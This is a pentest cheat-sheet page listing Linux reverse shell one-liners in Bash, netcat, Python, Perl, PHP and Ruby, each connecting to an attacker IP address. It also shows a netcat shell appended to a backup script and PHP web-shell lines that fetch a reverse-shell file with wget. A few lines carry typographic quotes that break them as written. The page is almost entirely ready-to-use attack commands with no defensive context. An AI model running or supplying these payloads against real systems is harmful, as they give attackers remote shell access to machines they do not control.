---
description: >-
  This page is going to show the generation of reverse shell payload for Linux
  environment.
---

# Linux Reverse Shell

## Bash Shell Script

```
bash -i >& /dev/tcp/192.168.100.113/4444 0>&1 

#NetCat
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 192.168.119.179 1234 >/tmp/f" >> user_backups.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 192.168.119.179 1234 >/tmp/f 
nc -e /bin/sh 10.0.0.1 1234

```

## Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.19.40\",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);    
```

## Perl

```
perl -e ‘use Socket;$i=”192.168.100.113″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’ 
```

## PHP&#x20;

```
php -r ‘$sock=fsockopen(“192.168.100.113”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);’
```

```
<?php echo shell_exec("/usr/local/bin/wget http://10.11.0.X:80/php-reverse-shell.php -O /var/tmp/shell.php 2>&1");?>
<?php echo shell_exec("bash -i >& /dev/tcp/10.11.0.X/1337 0>&1");?>
<?php echo shell_exec("cd /tmp;chmod +x nc;./nc -c '/bin/bash -i 2>&1' 192.168.119.230 444"); ?>
```

## Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.11.0.123",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```
